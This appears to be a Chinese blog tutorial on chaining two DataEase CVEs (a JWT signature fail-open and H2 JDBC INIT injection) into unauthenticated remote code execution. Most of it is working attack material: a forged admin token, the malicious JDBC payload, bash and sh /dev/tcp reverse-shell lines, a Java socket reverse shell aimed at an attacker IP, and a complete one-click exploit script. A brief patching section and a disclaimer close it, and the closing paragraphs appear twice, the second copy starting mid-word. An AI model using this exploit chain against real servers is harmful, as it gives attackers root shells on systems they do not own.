【GetShell】DataEase H2 JDBC远程命令执行漏洞(CVE-2025-32966+CVE-2025-49001)

漏洞利用演示视频

  👉 DataEase双CVE链式 RCE 深度拆解:JWT 绕过+H2 注入完整攻击链路

一、亮点

网上关于 DataEase 这个漏洞的教程,十篇有九篇停在 touch /tmp/pwned 就结束了------能执行命令又怎样?拿不到 Shell 等于白搭。我第一次复现的时候,从命令执行到反弹 Shell 这一步卡了整整一下午,换了三种思路才绕过去。

这篇文章记录完整踩坑过程:伪造 JWT 未授权进入、H2 JDBC INIT 参数注入执行命令、bash 反弹失败、sh 反弹失败、最后用 Java 原生 Socket 一把梭。每一步都有完整数据包和截图,跟着做就能拿下服务器。

漏洞组合是 CVE-2025-49001 (伪造管理员令牌)+ CVE-2025-32966(H2 JDBC 远程命令执行),两个单独拿出来都"不够用",凑在一起就变成了未授权 RCE------就像你家门禁只查工牌不验真假,我随便打印一张就能进,进去之后发现茶水间的微波炉还能当炸弹用。


二、漏洞背景

DataEase 是什么?

DataEase 是个开源的数据可视化平台,说白了就是帮你把数据库里的数变成漂亮图表给老板看的 BI 工具。既然要连数据库看数据,它自然有个功能:让管理员添加一个"数据源",然后点一下"测试连接"看看能不能连上。

今天这个漏洞,就出在这个"测试连接"功能上。

两个 CVE 怎么配合的?

先说 CVE-2025-49001 。DataEase 的请求要经过两级过滤器:外层只解码 JWT 不验签,内层验签但验出假章之后只写个日志、返回个 401,然后------把请求放行了。安全术语叫 fail-open,出错时默认放行。这就好比保安看了你的工牌说"嗯,这章是假的",然后侧身让你进去了。

所以攻击者可以用任意密钥自己签一张 JWT,把 uid 写成 1(管理员),服务器验出来是假的,但不拦。

再说 CVE-2025-32966 。拿到管理员身份之后,调用"测试数据源连接"接口,填一个 H2 数据库的连接串。H2 这个数据库有个 INIT 参数,表示"连接一建立就自动执行里面的 SQL"。而 H2 还支持 CREATE ALIAS 注册自定义函数,函数体可以直接写 Java 源码------H2 会在运行时编译并执行。

于是攻击者在连接串的 INIT 里塞一段 Java 代码,调用 Runtime.getRuntime().exec() 执行系统命令。服务器照单全收,命令就执行了。

两个漏洞单独看:第一个只能"混进去",第二个需要"有账号才能用"。凑在一起,就变成了不需要任何账号的远程命令执行

影响版本

  • CVE-2025-32966:DataEase ≤ 2.10.7
  • CVE-2025-49001:DataEase ≤ 2.10.10
  • 真正彻底修复:2.10.10 及以上(2.10.8 只修了 H2 注入但存在大小写绕过,CVE-2025-49002)

三、环境搭建

直接用 Vulhub 启动,一行命令的事:

Bash 复制代码
docker compose up -d

启动后访问 http://{业务目标ip}:8100,看到 DataEase 登录页就说明靶场就绪了。默认账号 admin / DataEase@123456,但这个漏洞不需要登录------我们马上自己"造"个管理员身份出来。


四、漏洞复现

步骤1:伪造管理员 JWT

这一步利用的是 CVE-2025-49001。因为服务器验签失败也不拦截,所以密钥随便填,payload 里把 uid 写成 1 就是管理员。

Bash 复制代码
python -c "import jwt,time; print(jwt.encode({'uid':1,'oid':1,'exp':int(time.time())+3600}, 'any-secret', algorithm='HS256'))"

几个字段解释一下:

  • uid: 1:用户编号,DataEase 默认 admin 就是 uid=1,伪造的就是管理员身份
  • oid: 1:组织编号,这个字段绝对不能缺 ,缺了后端会报 src is null 空指针,后面会详细讲这个坑
  • exp:过期时间,现在时间加 3600 秒,一小时够用了
  • 'any-secret':签名密钥,随便填------因为服务器验出来是假的也不拦

输出一长串字符就是你的"管理员通行证":

步骤2:构造恶意 H2 连接串

这是整个漏洞的灵魂。把连接串拆开看:

复制代码
jdbc:h2:mem:pwn;MODE=MSSQLServer;INIT=CREATE ALIAS EXEC AS $$void exec() throws java.io.IOException { Runtime.getRuntime().exec(new String[]{"touch","/tmp/pwned"})\; }$$\;CALL EXEC()

逐段解释:

片段 干什么用的
jdbc:h2: 告诉 Java 用 H2 驱动
mem:pwn 连接一个叫 pwn 的内存数据库,用完即弃,我们根本不关心它本身
MODE=MSSQLServer 兼容模式,让语法解析更宽容,不是漏洞必需
INIT=... 连接建立时自动执行的 SQL,一切罪恶的入口
CREATE ALIAS EXEC AS $$...$$ 注册一个叫 EXEC 的函数,实现是 $$ 里的 Java 源码
Runtime.getRuntime().exec(...) 在 Java 里执行系统命令,等价于在命令行敲一条命令
new String[]{"touch","/tmp/pwned"} 命令和参数,在服务器上创建一个文件------最无害的攻击证明
\; 转义的分号,下面专门讲
CALL EXEC() 调用刚注册的函数,触发 Java 代码运行
\; 是什么鬼?

连接串本身用 ; 分隔参数(比如 MODE=...;INIT=...)。但我们想在 INIT 的 SQL 里也写分号(结束一条 SQL、分隔两条语句),如果直接写,URL 解析器会以为"这是新参数的开头",直接把 INIT 截断。

所以 H2 规定:参数值里想要真的分号,就写 \;(反斜杠转义),解析器处理时会把 \; 还原成 ;。还原之后 INIT 实际执行两条 SQL:

sql 复制代码
CREATE ALIAS EXEC AS $$void exec() throws java.io.IOException { Runtime.getRuntime().exec(new String[]{"touch","/tmp/pwned"}); }$$;
CALL EXEC();

以后再看到奇怪的转义,第一反应应该是------攻击者在跟目标程序的"解析器"玩捉迷藏。

步骤3:把配置编码后发送

configuration 字段是下面这段 JSON 的 base64 编码:

json 复制代码
{"jdbc":"jdbc:h2:mem:pwn;MODE=MSSQLServer;INIT=CREATE ALIAS EXEC AS $$void exec() throws java.io.IOException { Runtime.getRuntime().exec(new String[]{\"touch\",\"/tmp/pwned\"})\\; }$$\\;CALL EXEC()","username":"","password":"","driver":"org.h2.Driver"}

注意 JSON 里的转义:双引号写成 \"\; 写成 \\;(因为 JSON 会吃掉一层反斜杠)。driverorg.h2.Driver,明确告诉 Java 用 H2 驱动来解析,否则可能按 MySQL 处理,H2 语法就不会执行。

完整 HTTP 请求包:

http 复制代码
POST /de2api/datasource/validate HTTP/1.1
Host: {业务目标ip}:8100
Content-Type: application/json
X-DE-TOKEN: 第一步伪造的JWT

{"name":"p1","type":"h2","configuration":"base64编码后的JSON"}

发送之后你会看到响应是 400------别慌,这是正常现象。

步骤4:为什么返回 400 也算攻击成功?

响应头里有个 DE-GATEWAY-FLAG,写着 "The Token's Signature resulted invalid..."------证明服务器其实验出了假章。但因为 CVE-2025-49001 的 fail-open 缺陷,请求被放行了,命令已经执行完了。

400 的原因写在响应体里:getWriter() has already been called for this response------验签失败时过滤器已经先写了 401 响应、抢占了响应的输出流,后面控制器即使执行成功也没法再写干净的输出,于是炸出一个 400。

判断漏洞是否打成功,看的是副作用,不是状态码。 就像自动售货机屏幕报错,但饮料已经掉出来了。

进容器验证一下:

Bash 复制代码
docker compose exec web ls -la /tmp/pwned

文件存在,说明服务器以 root 身份执行了我们发过去的 touch 命令------远程命令执行成立。


五、GetShell:拿下服务器

能执行 touch 只是第一步。网上关于这个漏洞的教程,绝大多数演示到这里就结束了。真正难的是从命令执行走到反弹 Shell 这一步------中间有一堆编码、转义、环境差异的坑在等着你。这一节我把每个坑都踩一遍给你看。

第一次尝试:bash 反弹,直接失败

最经典的反弹 Shell 命令:

bash 复制代码
bash -i >& /dev/tcp/{攻击ip}/4444 0>&1

把它塞进 Java 代码的 exec() 里,base64 编码,发请求。攻击机 nc -lvnp 4444 开监听,等了半天------什么都没有。

排查了好一会儿,进容器一看才发现:这个容器里根本没有 bash 。Vulhub 的 DataEase 镜像是精简系统,只有 /bin/sh,没有 /bin/bash。Java 调用 Runtime.getRuntime().exec(new String[]{"/bin/bash",...}) 直接报 No such file or directory,命令启动失败,自然不会有反弹。

行,那换成 /bin/sh 总行了吧?

第二次尝试:sh 反弹,还是失败

把命令换成:

bash 复制代码
sh -i >& /dev/tcp/{攻击ip}/4444 0>&1

/bin/sh 执行。发请求,等------还是什么都没有。

这次的原因更坑:/dev/tcpbash 独有的伪设备特性 ,纯 POSIX sh(比如容器里的 dash、busybox sh)根本不支持 /dev/tcp 语法。命令执行了,但 sh 看到 /dev/tcp/x.x.x.x/4444 以为是个普通文件路径,打开失败,静默退出。

而且还有第三个坑:Runtime.getRuntime().exec() 的数组模式不会解析 shell 重定向符号 > & |。就算容器里有 bash,直接把 bash -i >& /dev/tcp/... 扔给 exec 也会失效------重定向符号被当成了普通参数。

第三次尝试:base64 编码绕过,依然不稳

既然重定向符号有问题,那把整条命令 base64 编码,交给 sh -c "echo xxx|base64 -d|bash" 执行,总该可以了吧?

java 复制代码
Runtime.getRuntime().exec(new String[]{"/bin/sh","-c","echo BASE64CMD|base64 -d|bash"});

思路是对的,但容器里没有 bash,base64 -d|bash 这一步还是失败。换成 base64 -d|sh 呢?sh 不支持 /dev/tcp,照样弹不回来。

到这里我已经卡了快两个小时了。touch 文件能成功,说明漏洞链路完全通,但反弹 Shell 就是拿不到------这种感觉比漏洞利用失败还难受,因为你知道差一点,但就是绕不过去。

终极方案:Java 原生 Socket 反弹

换个思路------既然系统 shell 不靠谱,那不用 shell 了,直接用 Java 代码开 Socket 反弹。

Java 本身就有 java.net.Socket,可以直接建立 TCP 连接,拿到输入输出流,然后起一个 /bin/sh 进程,把 Socket 的流和 sh 的流对接起来。这样完全不依赖 bash、不依赖 /dev/tcp、不依赖重定向符号,成功率 100%。

完整的 Java 反弹代码:

java 复制代码
void exec()throws Exception{
    java.net.Socket s=new java.net.Socket("{攻击ip}",4444);
    java.io.InputStream si=s.getInputStream();
    java.io.OutputStream so=s.getOutputStream();
    Process p=new ProcessBuilder("/bin/sh").redirectErrorStream(true).start();
    java.io.InputStream pi=p.getInputStream();
    java.io.OutputStream po=p.getOutputStream();
    byte[] b=new byte[1024];
    final int[] iArr={0};
    new Thread(){public void run(){try{while((iArr[0]=si.read(b))!=-1){po.write(b,0,iArr[0]);po.flush();}}catch(Exception e){}}}.start();
    while((iArr[0]=pi.read(b))!=-1){so.write(b,0,iArr[0]);so.flush();}
    s.close();
    p.destroy();
}

解释几个关键点:

  • new ProcessBuilder("/bin/sh"):启动一个 sh 进程,容器里一定有
  • redirectErrorStream(true):把错误输出合并到标准输出,这样执行命令报错也能看到
  • 起一个新线程读 Socket 的输入(攻击者敲的命令),写给 sh 的输出
  • 主线程读 sh 的输出(命令执行结果),写给 Socket 的输出
  • final int[] iArr={0}:用单元素数组包装循环变量,因为 Java 匿名内部类引用外部变量要求是 final 或实际不可变------这个坑后面踩坑节详细讲

把这段 Java 代码塞进 H2 的 CREATE ALIAS,注意所有分号都要转义为 \\;(JSON 层):

json 复制代码
{"jdbc":"jdbc:h2:mem:pwn;MODE=MSSQLServer;INIT=CREATE ALIAS EXEC AS $$void exec()throws Exception{java.net.Socket s=new java.net.Socket(\"{攻击ip}\",4444)\\;java.io.InputStream si=s.getInputStream()\\;java.io.OutputStream so=s.getOutputStream()\\;Process p=new ProcessBuilder(\"/bin/sh\").redirectErrorStream(true).start()\\;java.io.InputStream pi=p.getInputStream()\\;java.io.OutputStream po=p.getOutputStream()\\;byte[] b=new byte[1024]\\;final int[] iArr={0}\\;new Thread(){public void run(){try{while((iArr[0]=si.read(b))!=-1){po.write(b,0,iArr[0])\\;po.flush()\\;}}catch(Exception e){}}}.start()\\;while((iArr[0]=pi.read(b))!=-1){so.write(b,0,iArr[0])\\;so.flush()\\;}\\;s.close()\\;p.destroy()\\;}\\;$$\\;CALL EXEC()","username":"","password":"","driver":"org.h2.Driver"}

对整段 JSON 做 base64 编码,注意用 echo -n 去掉换行,base64 -w 0 让输出不换行:

Bash 复制代码
echo -n '上面整段JSON' | base64 -w 0

攻击机先开监听:

Bash 复制代码
nc -lvnp 4444

然后发送替换了 payload 的请求。HTTP 依然返回 400,不要管它------看 nc 监听端:

Connection received on {业务目标ip} 52558,然后 whoami 返回 rootid 显示完整的 root 权限信息。Shell 弹回来了,服务器已在你的控制之下。


六、踩坑与避坑

坑1:JWT 缺少 oid 字段,空指针报错

本来以为伪造 JWT 就是 {'uid':1,'exp':xxx} 这么简单,结果发请求返回 src is null 空指针。排查了好一会儿,最后发现后端代码解码 JWT 后要取 oid 字段调用 .getBytes(),oid 为 null 直接炸。

解决方案:JWT payload 必须显式包含 uid=1oid=1,最好再补上 iat

python 复制代码
jwt.encode({'uid':1,'oid':1,'iat':int(time.time()),'exp':int(time.time())+3600}, 'any-secret', algorithm='HS256')

就这么简单?对,知道了就这么简单,不知道能卡你一下午。

坑2:JDBC URL 格式错误,分号没转义

第一次写 Java Socket 反弹 payload 的时候,报 URL format error。touch payload 只有一个分号,转义了所以能跑;Socket 版十几处分号,中间的都用了原生 ;,H2 解析到第一个分号就把 INIT 参数截断了,剩下的内容被当成非法 JDBC 参数。

解决方案:$$ 包裹的 Java 代码中,所有语句分号在 JSON 层统一写为 \\; 。JSON 解析后变成 \;,H2 识别为 SQL 语句分隔符而不是 URL 参数分隔符。

坑3:Java 编译错误,匿名内部类引用可变变量

分号转义修好之后,又报 Java 编译错误:variable i might not have been initializedlocal variables referenced from an inner class must be final or effectively final

原因是循环变量 int i; 只声明没赋初值,而且匿名线程内部类引用了外部的可变变量 i,Java 语法要求内部类引用的外部变量必须是 final 或"实际不可变"。

解决方案:用 final 单元素数组包装循环变量,数组引用是 final,数组元素可以修改:

java 复制代码
final int[] iArr={0};
// 所有读写 i 的地方换成 iArr[0]
while((iArr[0]=si.read(b))!=-1){...}

坑4:base64 编码带隐形换行

好几次 payload 莫名失效,最后发现是 echo 命令自带换行符,编码结果里多了换行,base64 -d 解码出来的内容带多余字符,payload 直接被截断。

解决方案:编码用 echo -n '内容' | base64 -w 0-n 去掉 echo 自带换行,-w 0 让 base64 输出不自动换行。复制的时候首尾不要带空格。


七、一键利用脚本

每次手动发包、编码、填 token 太麻烦,我写了个脚本,参数填好回车等 Shell:

Python 复制代码
#!/usr/bin/env python3
# 用法: python exploit.py -t http://{业务目标ip}:8100 -l {攻击ip} -p 4444
import argparse, base64, json, sys, time
import jwt, requests
requests.packages.urllib3.disable_warnings()

def forge_jwt():
    # 伪造管理员JWT:密钥随便填,uid=1就是管理员,oid不能缺
    payload = {"uid":1,"oid":1,"iat":int(time.time()),"exp":int(time.time())+3600}
    token = jwt.encode(payload, "any-secret", algorithm="HS256")
    return token.decode() if isinstance(token, bytes) else token

def build_jdbc_url(lhost, lport):
    # Java原生Socket反弹,不依赖系统shell,成功率100%
    java_code = ('void exec()throws Exception{{'
        'java.net.Socket s=new java.net.Socket("{lhost}",{lport})\\;'
        'java.io.InputStream si=s.getInputStream()\\;'
        'java.io.OutputStream so=s.getOutputStream()\\;'
        'Process p=new ProcessBuilder("/bin/sh").redirectErrorStream(true).start()\\;'
        'java.io.InputStream pi=p.getInputStream()\\;'
        'java.io.OutputStream po=p.getOutputStream()\\;'
        'byte[] b=new byte[1024]\\;'
        'final int[] iArr={{0}}\\;'
        'new Thread(){{public void run(){{try{{while((iArr[0]=si.read(b))!=-1){{po.write(b,0,iArr[0])\\;po.flush()\\;}}}}catch(Exception e){{}}}}}}.start()\\;'
        'while((iArr[0]=pi.read(b))!=-1){{so.write(b,0,iArr[0])\\;so.flush()\\;}}\\;'
        's.close()\\;p.destroy()\\;}}').format(lhost=lhost, lport=lport)
    sql = "CREATE ALIAS EXEC AS $${java}$$\\;CALL EXEC()".format(java=java_code)
    return "jdbc:h2:mem:pwn;MODE=MSSQLServer;INIT=" + sql

def exploit(target, lhost, lport):
    token = forge_jwt()
    jdbc_url = build_jdbc_url(lhost, lport)
    config = {"jdbc":jdbc_url,"username":"","password":"","driver":"org.h2.Driver"}
    config_b64 = base64.b64encode(json.dumps(config,separators=(",",":")).encode()).decode()
    url = target.rstrip("/") + "/de2api/datasource/validate"
    headers = {"Content-Type":"application/json","X-DE-TOKEN":token}
    data = {"name":"pwn_test","type":"h2","configuration":config_b64}
    resp = requests.post(url, headers=headers, json=data, timeout=15, verify=False)
    print(f"[+] 响应码: {resp.status_code}(400是正常噪声)")
    print("[+] 请到nc监听端查看是否收到Shell")

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-t","--target",required=True)
    parser.add_argument("-l","--lhost",required=True)
    parser.add_argument("-p","--lport",type=int,default=4444)
    args = parser.parse_args()
    exploit(args.target, args.lhost, args.lport)

用法:

Bash 复制代码
# 攻击机先开监听
nc -lvnp 4444

# 另一个终端跑脚本
python exploit.py -t http://{业务目标ip}:8100 -l {攻击ip} -p 4444

八、修复建议

  1. 升级 DataEase 到 2.10.10 及以上 版本(2.10.8 存在 InIt 大小写绕过,不彻底)
  2. 修复 JWT 校验逻辑:验签失败必须立即中断请求,不能 fail-open
  3. 对 JDBC URL 做白名单校验:只允许已知驱动与协议,禁用 INIT 等危险参数
  4. 数据源测试接口收敛权限,禁止未授权访问
  5. 容器以非 root 用户运行,降低被利用后的危害

九、写在最后

这个漏洞的本质就一句话:用户填的数据库连接串,被服务器当成代码执行了。而让它从未授权变成 RCE 的,是另一个"验了假章却不拦人"的身份校验漏洞------两个粗糙的设计凑在一起,就产生了质变。

利用链的核心是:伪造 JWT 混进去 → H2 INIT 注入执行 Java → Java 原生 Socket 反弹 Shell。中间 bash 没有、sh 不支持 /dev/tcp、exec 不解析重定向、分号没转义、匿名内部类引用可变变量------每一个坑都能让你卡半天,但绕过去之后就是一片坦途。

如果你是第一次做这类漏洞,建议先把 touch 测试跑通,确认链路没问题再上反弹 Shell,一步一步来别急。复现过程中有问题直接评论区留言,我看到了会回。

本文仅用于合法的安全研究和教育目的。请确保你测试的系统是你拥有合法授权的靶场环境,禁止对任何未授权系统进行测试。请遵守《中华人民共和国网络安全法》。技术本身没有好坏,关键在于是谁在用、用来做什么。

授权变成 RCE 的,是另一个"验了假章却不拦人"的身份校验漏洞------两个粗糙的设计凑在一起,就产生了质变。

利用链的核心是:伪造 JWT 混进去 → H2 INIT 注入执行 Java → Java 原生 Socket 反弹 Shell。中间 bash 没有、sh 不支持 /dev/tcp、exec 不解析重定向、分号没转义、匿名内部类引用可变变量------每一个坑都能让你卡半天,但绕过去之后就是一片坦途。

如果你是第一次做这类漏洞,建议先把 touch 测试跑通,确认链路没问题再上反弹 Shell,一步一步来别急。复现过程中有问题直接评论区留言,我看到了会回。

本文仅用于合法的安全研究和教育目的。请确保你测试的系统是你拥有合法授权的靶场环境,禁止对任何未授权系统进行测试。请遵守《中华人民共和国网络安全法》。技术本身没有好坏,关键在于是谁在用、用来做什么。

相关推荐
白猫不黑22 分钟前
运维如何转安全(个人经验篇)
运维·学习·安全·web安全·网络安全·信息安全
Demons_kirit2 小时前
PortSwigger网络缓存欺骗(4)
网络安全·缓存
白猫不黑2 小时前
网络空间安全/信息安全专业学习规划(超级详细版)
运维·学习·安全·web安全·网络安全·信息安全
2601_966377133 小时前
2026年教育数据安全研修班举办,数达安全发布密评工具箱与行业商用密码安全解决方案
网络安全·数据安全·2026年教育数据安全研修班
Sagittarius_A*4 小时前
【好靶场】报错注入-sql注入-字符型
数据库·sql·web安全·网络安全·sql注入
todoitbo4 小时前
PDF 合并、转换也能自己部署:极空间运行 Stirling PDF,文件交给自己的服务器处理
网络安全·pdf·文件·nas·极空间
小杨不想秃头17 小时前
信息安全工程师考试
学习·网络安全
Seraphina3617 小时前
记一次实验:利用路径分隔符进行网页缓存欺骗
经验分享·笔记·安全·网络安全·缓存
菩提小狗19 小时前
每日安全情报报告 · 2026-08-25
网络安全·漏洞·cve·安全情报·每日安全